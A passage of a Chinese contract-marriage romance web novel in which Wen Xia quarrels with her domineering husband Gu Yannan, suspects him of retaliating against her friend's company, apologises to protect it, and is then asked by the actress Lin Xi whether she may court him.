她躺他站,温夏慢慢坐起来,仰头看他,淡声问:“你是来找我做.爱的吗?”
顾衍南没回,只静静地盯着她。
沉默即为默认,温夏掀开毛毯,“去主卧做吧……”
手腕募地被攥住。
温夏止声,抬眸看他。
顾衍南在她身侧缓缓蹲下,和她保持平视。
温夏绷紧唇。
他滚了滚喉结,嗓音低哑:“我和林曦……”
温夏打断他:“已经很晚了,一定要现在说吗?”
她一点也不关心他和林曦是什么关系,她也不该关心,反正没有林曦还有陈曦沈曦,他已经把话说得再清楚不过。
这幅毫不在乎的态度让顾衍南的脸瞬间沉下来,她丝毫不在意他的事,还有什么低声下气解释的必要?
顾衍南松开她的手腕。
纤细白皙的肌肤上留下深深浅浅的指痕。
他直起身,居高临下地看着她:“你这是打算为了个卖笑的小白脸跟我分房睡?”
温夏仰头,对上他冷漠的眼神:“你放心,我记得自己当初答应你的条件,你有需求的话我陪你做,但一个月三十天你总不会每天都有需求,剩下的时间我在这里睡。”
顾衍南眯起眼,唇边溢出一丝冷意:“顾太太,我建议你回房睡,我不喜欢和我的顾太太分床。”
“你今晚要做吗?”
“不做,所以呢。”
温夏看着他,攥紧毛毯,“很晚了,我要睡了。”
顾衍南垂眸,漆黑的眼睛紧紧锁着她。
嗓音很淡,却带着不容置哙的强势:“我再说最后一遍,回去睡。”
温夏拉着毛毯,慢慢躺下去:“出去的话帮我把门关上。”
顾衍南冷嗤了声,转身就走。
“砰——”
门被重重摔上。
第19章 茫然的无力感
凌晨两三点才重新入睡。
七点不到, 温夏醒来,艰难掀开眼皮,盯着陌生的天花板看了一会儿, 意识慢慢回到脑海中。
昨晚, 她和顾衍南彻底撕破脸了。
经过一晚的冷静,温夏有一丝后悔,顾衍南最后那几句话接近威胁,以她对他的了解,他绝不可能让这件事轻易过去。
但脸皮已经撕破了。
温夏赌他看在他还需要她在顾爷爷面前配合他演戏的份上,不会对她做的太过。
他应该不会出手对付温氏,更不会让人卡大哥的减刑手续, 倒不是他有多高尚的品格,而是这样做一定会惊动顾爷爷,他不会自找麻烦。
至于其他的……温夏想,他大概率会在床事上折磨她, 上次是冰块, 下次不知道要把什么用到她身上。
或者, 也可能林曦或者其他女人在他气头上恰到好处出现,安抚他的情绪,转移他的注意力, 让他意识到把时间和精力浪费在她身上太不值得。
这样最好。
胡思乱想一会儿,温夏掀开毛毯,准备去主卧洗手间拿她的洗漱用品。
原本打算等到他上班后再去拿,尽量不要和他碰面, 但她不可能一直躲他,不如早点摸清他的态度,尽早做打算。
七点十三, 这个点他该在晨跑,温夏走到主卧门前,深吸一口气,抬手,轻叩三下门。
等了几秒,没人应声。
温夏拧开门把手。
主卧的被褥整齐铺着,空无一人,她走进洗手间,将她的洗漱用品装进盒子里,搬到书房的洗手间。
刚出门,迎面撞上晨跑完的顾衍南。
他一身灰色运动衣,被汗水浸湿后贴着挺括胸膛,裸露在外的小臂肌肉充血膨胀,比起商务精英的穿搭,多了几分压迫感和侵略感,浑身散发着一股名为雄性荷尔蒙的性感气息。
温夏脚步顿住。
顾衍南扫了眼她胸前抱着的洗漱用品,目光陡然一沉,被他迅速压了下去,恢复波澜无痕。
轻飘飘看她一眼,抬腿从她身边离开。
砰——
主卧门关上。
温夏挺直的脊背募地一松,她闭了下眼,在原地站了几秒,抱着盒子走去书房。
书房洗手间比主卧小,但基础设施一应俱全,温夏辗转在书房和家庭影院间洗漱睡觉,一连三天,顾衍南都没有来找她履行夫妻义务,温夏一方面感到轻松,另一方面心中隐隐不安,好似暴风雨来临前夕的宁静。
他们只有晚饭的时间碰面,没有温夏主动找话题缓和气氛,全程沉默,张婶在厨房看着干着急,把情报上报给董事长,董事长却不管了,只说:随便他们折腾。
原本定下的周六去老宅吃饭,顾衍南没提,温夏也没问他,就这样平平淡淡地过了三天。
周一上午,温夏晚到半小时,生理期第二天,肚子一抽一抽的疼。
她痛经很严重,源于十几岁那会儿的一次生理期不小心从游泳池掉了下去,在池子里泡了半天才被救上来,留下的后遗症。
到公司后,她给梁从音打了个电话。
裴霖的事她暂时没能力解决,便跟梁从音说先等等,又额外给了梁从音一个代言人的名额。
梁从音那边忙得焦头烂额,随口应了声“好”,匆匆说了两句就挂断电话。
温夏只当她忙,没有多想。
平静如水的生活一直到第三天下午——
娱乐圈的八卦正是年轻女士们闲谈时的首选,去市场部找祁源时,途径茶水间,温夏听到几个女同事聚在一起讨论——
“我宝这是得罪了哪个大佬啊,好端端的星途璀璨怎么就突然被一剪梅了?我宝一不嫖二不赌三不偷税漏税,他只是个半工半读奋战高考的好孩子,为什么要这么对他!”
“一定是动了谁的蛋糕,被资本做局了!”
“wuli霖宝的经纪公司不是音川影视吗?音川影视也是业界数一数二的翘楚,怎么连自家的艺人都护不住,他妈的音川影视赶紧给我倒闭!”
听到“音川影视”,温夏脚步一顿。
“我估计音川影视离倒闭不远了。”有人故作神秘说了句。
“怎么了?!”
“小道消息,音川影视最近倒大霉,不知道得罪哪方神圣,不止裴霖,艺人接二连三出事,今早不是刚爆出来他们的当家花旦插足已婚男导演的婚姻吗?俩人在酒店停车场就忍不住亲了起来,有图有视频,热乎的呢。”
“什么?!!!”
温夏的心陡然沉下去,第六感直觉这事是顾衍南做的,他这几天过于正常,反倒不正常,他果然没闲着,但她没想到的是,他居然丧心病狂到拿梁从音开刀。
因为裴霖的粉丝得罪林曦,他就直接封杀裴霖,那梁从音的公司呢?因为音川影视是裴霖的经纪公司?还是前几天她和他撕破脸,落了他的面子?
垂在身侧的手指克制不住地颤抖,温夏拿出手机,拨打梁从音的号码。
没人接。
过了几分钟,又打了一个。
还是没人接。
温夏皱起眉,给梁从音发短信:[你公司的事,我都知道了。]
[给我回电话。]
她刚回到办公室,梁从音的视频电话打了过来。
“温老板,你脾气怎么这么大,我刚才忙着开会呢才没接你电话的……”
温夏打断她刻意的调笑:“怎么回事?”
“就公司的几个当家门面出了点事,估计是对家公司看我这两年财运正盛想要报复我,趁着公司准备上市爆出来的。我十八岁就创业了,什么大风大浪没见过啊,这点小打小闹不算什么,小事儿。”梁从音语气轻快,但难掩眼神中的疲惫。
温夏看着她眼底遮不住的乌青,语气沉了沉:“是顾衍南做的吗?”
“……”梁从音笑了下,“当然不是,顾大公子怎么会关注我这个小作坊……”
看着屏幕中的温夏眉头越皱越深,她改口:“好吧,我估计应该是他。”
梁从音可怕死温夏生气了,两人从穿开裆裤就认识,温夏性子温和,很多事都迁就她,但相处二十多年没闹过矛盾也是不可能的,生起气来的温夏夏……还是蛮可怕的。
倒不是打她骂她,最开始,生气的温夏夏会变得特别礼貌疏离,问她什么都会好声好气地回答,就像对待不熟的人那样。
梁从音觉得她这样不好,但她自己是一生气话怎么难听怎么说的性子,也没脸指责温夏。
磨合好长一段时间,两人才找到闹矛盾后的解决模式,温夏不会不理她,她也不会故意说难听的话惹温夏生气,通过这种方式让温夏理她。
梁从音如实交代:“就咱们聚会第二天一大早出的事,我们公司那几个最赚钱的艺人同时被爆出黑料,除了杨芸雪插足有妇之夫那事是板上钉钉的大事,剩下的几个都是小打小闹。”
“我这几天找人打听的,这事是霍家旗下的盛锦娱乐干的,霍瑾深和顾衍南好到能穿一条裤子,顾家主营产业不包括传媒,就把这事交给霍瑾深了,不然霍瑾深怎么可能闲的没事来针对我一个小作坊。”
她叹了口气:“本来这事我不想告诉你的,爆出来的黑料我也都调查过,居然都他妈是真的,一个两个的真是赚钱太容易不知道珍惜,正好借此机会给其他艺人一点教训……你既然听说了我就都告诉你,不过这事你别插手啊,顾衍南应该没想着整死我,估计是给林曦出气呢,等熬过这阵子就好了。”
现在没想着整死。
如果她再不主动求和呢?
不止梁从音,还有温诗,祁源,所有她在乎的人,都能成为他拿捏她的软肋。
温夏现在无比确定,顾衍南针对梁从音的公司是因为她落了他的面子,如果是为了林曦,直接一刀致命就够了,犯不着钝刀子慢慢磨。
他这样高高在上的上位者,不论是生意场还是情场一直被人捧着,自然受不了被她下面子,为了避免顾爷爷那边的麻烦,暂时动不了温氏和温砚,就去动她的朋友。
小腹的坠痛一阵阵袭来,温夏皱起眉,强撑着和梁从音说了几句,挂断电话。
原以为他只是性情恶劣,阴晴不定,没想到他唯我独尊到这种地步,看谁不顺眼直接用权势把人压死,她当年真是瞎了眼才会认为他是谦和温润的贵公子。
她看着落地窗外的明媚春光,却觉得很冷。
好似有股冷意从体内沿着四肢百骸蔓延至全身,冷的她心尖发颤。
与此同时,心中生出一种茫然的无力感。
因为就算不管她有多么愤怒,都只能忍着,还要主动服软道歉。
谁叫她没权没势且不得不依附他的权势呢。
那晚她拿顾爷爷威胁他,但温夏清楚得很,如果他们俩真闹起来,顾爷爷肯定站在自己亲孙子那边,这是人之常情。
她对他的怒火,除了容忍,别无他法。
温夏闭上眼,大脑一片混乱。
-
晚上回到家。
吃晚饭时,饭桌上一如前几日的沉默。
张婶还在厨房看着,不适合谈话。
温夏埋头扒饭,心里想着等会要说的台词,越想越觉得自己活该,那天晚上她为什么要和他撕破脸,还闹什么可笑的分房,她现在根本没有资本能和他分庭抗礼,他随口一句话就能让她翻不了身。
主动撕破脸的是她,这会绞尽脑汁想着服软求和的还是她,她怎么总是记不住自己的定位,他们之间早就不是当年她不高兴闷着脸他就会说好听的话哄她的关系。
温夏,你真是荒唐又可笑。
沉默地扒着饭,等到顾衍南起身,她放下筷子,追着他的脚步上楼。
眼见他走进卧室,抬手关门,温夏迅速将一只脚越过门框,阻止他关门的动作。
顾衍南长指按着门板,骨骼分明,面上毫不意外,只低头静静看着她。
温夏仰起头,攥着自己的手指,关节僵硬。
从走廊阳台泄入过来的昏暗光线下,顾衍南能看到她剧烈颤抖的睫毛,她低垂着眼皮,似是在纠结和犹豫什么。
不知怎的,他的心脏募地一疼。
下一秒,他看到她轻吁一口气,似是终于下定决心,对上他的眼睛,轻声说:“对不起。”
说出这三个字的那刻,温夏心底真的松了口气,原来没有她想的那么困难。
除了和他同站在高位的人,还有他在乎的人,谁在他面前不都是这幅低声下气的态度。
她不是那两类人,自然不会是例外。
不管这事谁对谁错,但他不高兴,那就是她的错,因为丛林法则就是这样规定的。
她被列入这个规则的遵守者名单内,必须要守规矩。
完成最难的开头,剩下的就简单多了,温夏看着他那双勾魂摄魄的桃花眼,尽可能的诚恳道:“对不起,我那晚情绪很差,对你说了难听的话,林曦和裴霖的事,是裴霖的粉丝有错在先,你替林曦出气也是应该的,我不该插手,只是——”
顿了下,她向前一步,抓住他的袖子,仰头看他,“从音是无辜的,如果你是因为我那天惹你不高兴迁怒她,我向你道歉,你能不能放过她?”
顾衍南低眸,定定看着这张白皙柔美的脸,喉咙发紧,胸口窒息到好似有一只手紧紧攥住他的心脏。
为什么听到她说“对不起”,他比那晚被她赶出去还要不舒服。
她这幅谦卑、低声下气的态度,怎么会这么刺眼?
可是他想要的,不就是她服软吗?
顾衍南菲薄的唇抿到微微泛白,看着她垂落在额前的发丝,眼眸一动,下意识伸出手指。
温夏条件反射想要别开脸,突然想到什么,强迫自己不动,本要转头的动作因着急刹车,动作僵硬的有一丝滑稽。
顾衍南手指一顿,将她的发丝撩到耳后,低声说:“把东西搬回来。”
“你会放过从音吗?”
习惯性的那句反问“我不放过她你就不搬回来了”,被顾衍南强压了下去,他嗯了声:“我没想着对她怎样。”
得到他的承诺,温夏彻底松了口气,对他微微一笑,语气客气而疏离:“谢谢你。”
顾衍南指骨募地一紧。
温夏没注意到他细微的变化,松开攥着他袖口的手,后退一步,转身——
顾衍南瞳眸骤然一缩,条件反射抓住她的手腕。
他的掌心温热,骨节咯着她的肌肤,温夏微怔,不明所以地回头:“怎么了?”
“你去哪儿?”
“搬东西啊。”
顾衍南的脸僵硬片刻,嗓音低哑:“快点。”
“嗯。”温夏低眸,看向被他紧攥的手腕。
顾衍南滚了滚喉结,慢慢松开她的手。
白皙肌肤上,留下深深浅浅的指痕。
温夏迅速抽出手腕,转身,留给他一个纤长单薄的背影。
第20章 有情人
温夏的东西不多, 一套洗漱用品一套护肤品化妆品,她用搬走时的盒子又搬了回来,把东西摆回原处, 和他的放在一起。
就像没搬走前那样。
洗完澡, 一上床,顾衍南动作娴熟地抱住她,力道有些紧,让她觉得胸口呼吸有点不畅,但不至于没法忍受,她没有多说,以防不知道哪句话没说对又把他惹生气了。
她生理期, 顾衍南再变态也不至于强迫她做,也没有放任她背过去睡,他将她扯到怀里,手掌覆在她的小腹上。
他的手伸进睡衣里面, 严丝合缝地贴着她的肚子, 掌心温暖的热度仿佛能渗透肌肤, 小腹很快就暖暖的,很舒服……
黑暗中,他从背后抱着她, 温热的呼吸喷洒在她耳后,他身上有清淡的沐浴乳香气。
混着她身上的同款香气,在空气中交缠。
温夏在一片漆黑中睁开眼。
他习惯抱着她睡,她的身体也习惯他。
对他把手放在她小腹的行为并不反感, 可以忍受。
当然,她不忍受也没办法。
温夏只能用——至少她没有讨厌他讨厌到连被他抱着都没法容忍的地步——这一想法让自己心里好受一点。
活在这俗世,怎么可能事事顺心, 庸人自扰和自讨苦吃是最愚蠢的两件事。
她一向很会开解自己。
因为小腹暖暖的,不像昨晚一阵一阵的抽疼,而且卧室的床要比沙发床舒服得多,温夏这一觉睡得很沉。
第二天醒来的时候,身边已经没人了。
下意识伸手摸了摸,已经凉了,他至少走了半小时。
迷迷糊糊睁开眼,看着熟悉的天花板,呆坐了一会,下床去洗漱。
收拾完,时间充裕,温夏去厨房做早餐,这几天她没心思自己动手,就没吃,估计祁源也没吃,他一向不怎么会照顾自己。
医生说要他上周日去医院复查,也不知道他去没去,等会儿给他送早餐的时候问他吧。
边胡思乱想边做三明治,做完打包好,温夏突然想起昨晚临睡前顾衍南说今天要去老宅吃晚饭,商量眠眠婚礼的事。她想到顾衍南上次给她买的礼物,既然是买给顾爷爷看的,应当发挥出它们的价值,不然如果顾爷爷再因为这事念叨他,他回来又要把火撒在她身上。
于是温夏去衣帽间把那几个礼盒拿出来,挑了一圈,最后选中一枚个头特别夸张的蓝宝石戒指,连着盒子塞进包里,拎着包下楼。
刚下完最后一个阶梯,玄关处传来“滴滴”的开锁声,温夏下意识顿住脚步。
顾衍南一眼就看到站在楼梯旁的温夏,他眯了眯眸,自上而下将她打量一遍。
从前她爱穿白裙子,披着长发,工作后开始穿衬衫,各种各样的衬衫,今天是裸粉色的长袖款式,V领,不过有一条飘带挡住胸口的风景,温柔中带着点轻熟的妩媚。
下面配一条白色半身长裙,丝绸面料,看着优雅光滑,白皙的长腿全都裹了进去,只有漂亮的脚踝露在外面,脚踩一双可爱的白色兔子拖鞋。
自上而下打量一圈,复又自下而上,她的黑色长发用发圈随意挽成低丸子头,额前有几缕碎发,耳朵上佩戴一副精致圆润的珍珠耳钉,却不是他给她买的那副。
顾衍南微不可觉地皱了下眉,视线移到她脸上,比起昨天,她今天的气色看上去好了很多……她还是很适应和他一起睡吧。
五官精致如画,皮肤白皙清透,眉眼温婉柔美,这十年没怎么在她脸上留下痕迹,只多了种少女时期不曾有的,轻熟而妩媚的勾人魅力。
青涩的果子和熟透的果子,哪一种都很好吃。
一进来他就盯着她,眼神露骨得简直要把她就地扒光,温夏有种被视奸的错觉,她轻咳了声,刚要开口,瞥到他手里拎着一堆的包装盒。
温夏一怔。
顾衍南回神,顺着她的视线低眸,淡淡解释:“我晨跑的时候遇到青砚去买早餐,他说这家早餐很好吃,他前妻经常吃。”
沈青砚,温夏婚礼上见过,是顾衍南私交不错的朋友,因离异的身份没能当上伴郎,也住在明湖公馆,目前和前妻做邻居,共同抚养女儿。
温夏点点头:“噢。”
“过来吃。”他把拎着的东西放到餐桌上,餐盒一一打开,里面装着小笼包、生煎、还有油条豆浆,热腾腾的香味扑鼻而来。
比起西式早餐,温夏更爱中式,尤其是小笼包,百吃不厌,但这里是别墅区,商铺离得很远,和去公司的路恰好是反方向,而且每次经过门口都要排很长的队,温夏便放弃口腹之欲。
盯着透汁的发面小笼包,她不自觉咽了下口水,走到他对面坐下。
很显然,他们默契地把前几天撕破脸的事“忘掉了”,不论是因为顾爷爷还是其他原因,他显然目前不打算和她离婚,而她……她在大哥出来之前,也不可能和他离婚,只是应该把分开这件事提上日程。
今晚要回老宅,他估计是担心她不配合,所以才会好心给她买早餐吃,温夏觉得他想多了,她早已过了被情绪支配大脑的年纪,虽然偶尔会失控,但绝大多数时间她是理智的,在“哄顾爷爷开心”这件事上,她和他的目标一致。
他难得给她的不是冷脸,温夏自然不会不给面子,她拆了副一次性筷子,在他注视下,夹起一个小笼包送入口中。
没想到这个小笼包里汤汁这么多,不小心沾上指尖,目光四处扫视去找纸巾盒,刚看到,顾衍南微不可觉地勾了下唇,抽了张纸递给她。
温夏微怔,接过纸巾,“谢谢。”
顾衍南唇角的弧度凝了下,“好吃吗?”
温夏慢条斯理地擦拭指尖的汤汁:“好吃。”
是真的好吃,她又夹了一个小笼包。
看着她一连吃了三个小笼包,估摸是真的爱吃,顾衍南默默记下。昨晚他一夜没怎么睡,一闭眼脑子里就自动播放她那句低声下气的“对不起”,就像一张细密的铁网绞住他的心脏,一丝一缕地收紧,紧得连呼吸都有些费劲。
一直到她睡着,他盯她看了许久,才意识到他有多看不惯她低声下气,哪怕是对他。
他不喜她为了其他男人和他争吵,对他发脾气,可更不喜她那副良好低下的态度,她把自己置身低位,把他当作高高在上的上位者,就像其他人那样。
他对她的朋友做了过分的事,她完全可以对他发脾气,她打他巴掌他向来不都是受着的吗,可她却选择道歉,她把她自己当成无数人中的一个,忘记她其实是他的妻子,忘记她是有对他发脾气的权利的。
几乎是一夜未眠,他想起之前晨跑遇到沈青砚,他说附近有一家很好吃的早餐店,他前妻特别喜欢,特意绕路到那边,排了近半个小时的队,买给她吃。
看着她津津有味地吃着小笼包,顾衍南胸口的躁郁散了些,她很喜欢吃他买的小笼包。
没跟她抢食,他拿起一根油条,泡在豆浆里,慢条斯理地吃起来。
吃完,收拾干净,温夏进厨房拿三明治,她做了两份,原本一份是她的,但她吃饱了,也不知道祁源能不能吃下两人份。
胡思乱想着,她左手挎包,右手拎着打包袋,去玄关换鞋。
顾衍南收拾完,准备上楼冲个澡,随意一瞥,看到熟悉的打包袋,目光陡然一沉。
“又是给你那个学长做的?”他盯着褐色的包装袋,沉声问。
温夏踢掉拖鞋,换上细高跟,随口应道:“嗯。”
“他自己不会买饭?”
“他忙,而且胃不好,我不知道你今天买了早餐,给自己做饭的时候顺手给他做了一份。”温夏耐心解释。
顾衍南的脸色越来越难看。
那个戴眼镜的胃不好,他的胃难道就很好?
没听老爷子说他有胃病吗?
顾衍南看着她精致的侧脸,菲薄的唇几乎抿成了一条直线。
在克制不住要发脾气之前,眼前闪过那句低声下气的那句“对不起”,他转过身,撂下句:“下午六点我去温氏接你。”
温夏随口应了声“哦”,抬头,却只看到一道高大挺拓的背影。
也不知道她的回答他听没听见……
-
到公司后,温夏直奔祁源的办公室。
祁源也刚到,看见熟悉的包装袋,挑眉笑了笑:“好几天都没吃到你做的早餐了。”
“所以你这几天就没吃?”
祁源耸了耸肩:“麻烦。”
温夏不认同地看着他:“学长,你别不把胃病当回事,上周日医生让你去医院复查,你去了没?”
祁源拆开包装袋,“去了,我敢不去你不得念叨死我。”
温夏睨着他:“从音说得对,你该找个女朋友管着你,不然我这么忙,还要操/你的心。”
祁源:“……”
怎么又扯到他的婚姻大事上了。
昨晚他妈打电话念叨他半个多小时,又来了,他连忙把话题扯开:“那晚梁从音公司艺人的事,是怎么回事?”
温夏拆包装盒的动作微顿,轻描淡写道:“发生了点误会,已经解决了。”
昨晚从音打电话说,顾衍南放过了她的公司,连带着裴霖也被“赦免”了,他封杀裴霖不就是为了林曦,难道和林曦闹掰了?
念头一闪而过,看着祁源明显不相信的表情,温夏多加了句解释:“真的是误会,我们没事。”
将另一份早餐拆开推给他:“这份你也吃吧,我吃过了。”
祁源:“吃的什么?”
“顾衍南晨跑顺路买的早餐。”
祁源扶了下镜框,他家境普通,父母都是当地重点高中的老师,感情虽说算不上多甜蜜,但也是相敬如宾。在上大学以前,他一直认为夫妻之间就该像他父母或者他的其他长辈那样,哪怕感情没有多深厚,至少只有两个人的参与。
但他上了大学,尤其是工作后,渐渐认识到各种各样的婚姻形式,才知道原来各玩各的表面夫妻在名利圈是一种非常普遍的模式。
尽管如此,他仍希望夏夏和顾衍南之间能有感情,因为他们婚礼那天,他注意到夏夏看顾衍南的眼神,有专注有紧张,还有几分不明显的期待,和无数新娘看新婚丈夫的眼神一样,他直觉夏夏对顾衍南应该是有感情的。
听她这么说,祁源没有多问:“水果你拿去吃,三明治放这我吃完,别浪费了。”
“好。”
两人有一搭没一搭地闲聊,等祁源吃完,温夏拎着一小盒水果回办公室,途径总裁办,把林若雯喊进来。
“温副总,什么事?”
温夏:“你把其他工作交给徐媛和林沨,这几天先去把温氏所有合作方的背景都调出来,汇总给我。”
她和顾衍南的婚姻还要延续,但这次的事让温夏陡然意识到,等到他们分开的那天,顾衍南主动提出离婚还好说,说不定能给她一大笔赡养费,自然也不会和她计较那五十个亿的“聘礼”还有不计其数的资源人脉。
可如果她提离婚,但顾衍南不同意……就没那么简单了。
先把因为顾太太身份获得的合作查清楚,之后减少合作或者不再合作,一步步剥离,不然等到真有那一天,两家的利益早已密不可分,不是说散就能散的。
林若雯稍顿:“好的。”
这一整天,温夏忙得脚不沾地,快下班的点,她正准备回复完手头的邮件就收拾东西下楼,有个意料之外的人来找她。
“温副总,有位林小姐来找您。”林沨说。
温夏敲着键盘,头也没抬:“谁?”
林沨眯起眼,冷声道:“林曦,您要见吗?”
手指按在字母“J”上,等温夏反应过来,屏幕中出现一连串的“急急急急急急”,她一一删除,淡声说:“让她进来吧。”
林沨想说什么,却强忍着没说,他攥紧拳头,低声道:“好的。”
温夏盯着屏幕看了几秒,继续敲键盘。刚把邮件写完,林沨带着林曦进来,温夏靠着办公椅,对林沨说“你先出去”,然后下巴点了下对面的椅子,示意林曦坐。
林曦微怔,颔首道谢。
她今天仍是一条白色长裙,黑发披肩,和现代化快节奏的商务大楼有几分格格不入。
反观温夏,利落的职业装,完美融合精英化的办公室,哪怕她从长相到气质都是温柔类型的,却给人一种浓浓的压迫感。
其实她很早就见过温夏,她记得这位大小姐从前总是一副仙气飘飘的打扮,就像她现在穿的这样。她家在津城,不少朋友是北城的,自然听人说过这位北城名媛圈的佼佼者。人是奇怪的动物,虽然不至于将温夏当成对手,但她会无意识地把自己和这位话题中心的大小姐对比。
曾经有很长一段时间,她是看不上温夏的。这位大小姐有这么好的资源,一不帮家里管理产业,二不做个拿得出手的职业,二十七八岁的人却还在读书,听说她学的美术,也不见有什么知名的作品。
反观她,初中时就有坚定的职业目标,并且为着这个目标一直努力,她要做演员,于是她跑了很多剧组,锻炼演技和台词,终于在去年拿到她期盼许久的最佳女演员。
但也不过是随便想想,毕竟谁也不会对素未谋面的人有多大的恶意,直到温家出事——
这位什么都不会的大小姐果然手足无措,也是,她学着和商科八竿子打不着的艺术,能做什么呢?
后来,听说她卖画还债,林曦想起她那位喜爱收藏油画的姑姑曾对wynne的画赞不绝口,她一个外行看过也觉得水平很高,没想到那位年轻一代最优秀的画家wynne居然就是温夏。
如果说这是让她对温夏第一次感到震惊,第二次绝对是毫无预兆地曝出温夏嫁给了顾衍南。
她承认,她喜欢顾衍南,甚至可以说是爱,从她看到顾衍南的第一眼,她就爱上了那个无论从外表还是气质再到履历都挑不出任何缺点的男人,所以这个消息一曝出来,她和圈内绝大多数人的反应一样,羡慕又嫉妒。
人人都在议论温夏命好,前二十八年当了高高在上的温家大小姐,没落魄多少天,一跃成为更尊贵的顾太太,真是命好。
实在是命好,林曦想,但她不至于做什么,她并不想破坏别人的家庭。
直到不断听到有人说温夏和顾衍南只是表面夫妻,私下各玩各的,她有些蠢蠢欲动,她表哥刘郁和顾衍南是关系不错的朋友,她便让表哥帮忙牵线,拿到顾氏集团旗下新系列智能家居机器人的代言,机场那次闹得绯闻在她意料之外,她正盯着两人的合照欣赏时,就发现所有的热搜都被撤掉了。
对于闹得这一出,他是不喜的,但不管是绅士风度还是碍于表哥的面子,他并没有撤掉她的代言。
上次在新松公馆,他们去签合同,表哥替她撑场子,做东请顾衍南吃饭,顾衍南给了这个面子,正吃着饭,她的那位巨婴表嫂开车突然追尾,打电话让表哥过去,表哥走后,经纪人看出她的心思,说他们的车出了问题,希望顾衍南能顺路送她一程。
他没有拒绝。
她把握着分寸,找他搭话,他虽兴致缺缺,到底理了她,没把她当成空气。
真正让她动了心思的是温夏的态度——她从始至终都不想破坏别人的家庭,但如果这个家庭本就是破碎的呢?上次在新松公馆的停车场偶遇,温夏的态度几乎可以让她确信,她和顾衍南就是传闻中各玩各的表面夫妻,既然如此,她这样也算不上插足。
正犹豫纠结,经纪人不知道从哪儿听说的,前两天裴霖在最新一期选秀节目被一剪没,是顾衍南吩咐的,因为裴霖的粉丝和她的粉丝闹过矛盾,顾衍南是在为她出气。
真的是这样吗?
她激动又紧张,因为仅有的几次见面,顾衍南对她并没有什么暗示的举动,甚至她主动搭话,他只是随口敷衍。
理智被这个令人欣喜若狂的消息冲散,只留最后一丝,她在行动之前,需要找温夏确认,如果他们真的是各玩各的关系,如果温夏同意,她不会错过那个让她第一次心动的男人。
“温大……温副总,我有个朋友在你公司上班,我来找她,有些事一直想问你,就顺便上来了,实在抱歉,有些冒昧。”
“无妨,”温夏看了眼腕表,“林小姐有什么话可以直说,我今晚还有事,只有五分钟的时间给你。”
“五分钟足够了,不会耽误你太多的时间。”
温夏点点头,示意她可以开始切入正题了。
相比于她的云淡风轻,林曦显然要紧张得多,交叠在身前的两只手紧紧攥了起来,她鼓起勇气,直勾勾地看着温夏:“温大小姐,我想问问你,你爱顾总吗?”
温夏看着她,似是毫不意外:“嗯?”
林曦攥紧手指,一鼓作气道:“我听说你们……形同陌路,我是真的喜欢他,如果你们真的如传言说的那样,我不想错过可能是这辈子唯一会让我心动的男人,当然如果你们之间是有感情的,我绝对不会插足你们的婚姻,我以后都不会出现在你们面前。”
一开始,她还有些紧张,说着说着,眼神越发坚定,语气也越来越坚决。
这就是爱情的力量吗?
温夏出神地想着,突然,搁在桌面的手机震动了下,是顾衍南的短信。
[路上有点堵,晚五分钟到。]
温夏收回视线,看向认真盯着她的林曦。
脑海里飘出一个冷静的小人,理智地分析:林曦今天这一遭不管真心还是假意,至少可以说明她是个守规矩的人,她喜欢和这样的人打交道。如果林曦能让顾衍南上心,那等大哥出来,或许都不用等到那时候,他说不定就会和她离婚,至少等她提分开时他不会那么坚决的反对。至于顾爷爷,如果顾衍南真的喜欢,没有人能阻止他。
既然那个人是谁都有可能,是林曦还是其他人于她而言没有任何区别。
综合来说,林曦追到顾衍南,对她来说有很多好处,至于坏处……可以忽略。
温夏瞥了眼落地窗,五月的北城这个点天还是亮的,天空被夕阳染成一大片的橙色,唯美梦幻。她听到自己淡声说:“传言没说错,他对我没有感情,我对他亦是如此,你喜欢的话你就去追吧,我不会拦你,希望你们有情人终成眷属。”
果然如此!
林曦压制住内心的激动,连忙说:“你放心,如果我和他有缘走到最后,我一定会说服他多给你一些补偿。”
温夏垂下眼皮,扯了扯嘴角:“那就提前谢谢了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
20-30
第21章 囚禁终生的手铐
温夏下楼时, 那辆黑色宾利停在写字楼正门口对着的路边。
正是下班的点,来来往往的打工人,看到这辆顶级豪车忍不住注目议论。
年轻那会儿, 比起低调沉稳的商务车, 他更爱张扬的超跑,几天就要换一辆,国内最好的限量版跑车,基本都在他的车库里,光他们约的那四十七天,她就见他换了二三十辆。
如今也不知道是年纪大了,还是为了更贴合他商务精英的身份, 他最常开的就是这辆黑色宾利,低调又奢华。
周之恒眼尖,一眼看到人群中白得发光的温夏,对着后车座的顾衍南说了声:“顾总, 太太出来了。”
闻声, 顾衍南掀眸, 恰好对上她看过来的目光。
隔着车玻璃,四目相接。
只是他能看见她。
她看不见他。
周之恒没等顾总吩咐,很有眼力见地下车, 主动为温夏拉开后车座的门。
这几天他的日子简直可以用水深火热形容,工作五年,他第一次产生辞职的想法。
倒不是顾总批评他,顾总在商场上狠戾毒辣, 但凭良心说,对他们这些下属真心不错,赏罚分明, 不偏倚不迁怒,工资福利好得没话说,无数应聘者把顾氏集团视为职业的天花板。
可这几天,顾总气压特别低,整顿完董事会,接着整顿各个部门的高管,周一上午的大会上,几乎每个做汇报的人都被挑了刺。
他作为顾总的首席助理,深刻体会到什么叫“伴君如伴虎”,说话做事都小心翼翼的,生怕不小心说错什么惹到顾总。
联合这些天发生的事,周之恒缜密分析,推断,这事儿肯定和太太有关。
能有本事引起顾总情绪波动的人,也就太太了。
“太太,晚上好。”待温夏走到车前,周之恒笑着打招呼。
温夏被他笑得有些莫名,她点了下头:“晚上好。”
弯腰上车,车门关上,温夏看了眼身侧的顾衍南。
他拇指支着下巴,两根长指抵着太阳穴,阖眸养神,周身清冷淡漠。
脑海里莫名想起林曦刚才说“我真的喜欢他”时的坚定语气,温夏回头,看向她这边的车窗。
晚风带来春日的阵阵海棠香,冲淡忙碌一天的疲惫烦闷。
开入主干道,车子驶入川流不息的柏油马路,温夏盯着不断倒退的街景看了会儿,搁在包里的手机突然震动了下。
是温诗发来的信息。
她发的是语音,温夏顾忌到顾衍南在休息,转成文字。
[姐我下个月戏拍完就能从伦敦回来了!我们剧组离你公寓不远,你有什么东西要拿的吗?我给你带回去。]
温诗口中的公寓是她在伦敦念书时的住所,她住了六年,重要的证件早在她回国就带了回来,没什么要带的……脑子里突然掠过一个念头,她的画室里还有……
脸色顿时有些难堪,倒不是见不得人,但她确实不想让任何人知道。
温夏回复:[没什么要带的,你不用去。]
温诗秒回:[哦哦,姐你干嘛呢?]
[刚下班,还在回家的路上。]温夏没提和顾衍南一起回老宅的事,因为温诗非常不喜欢顾衍南。
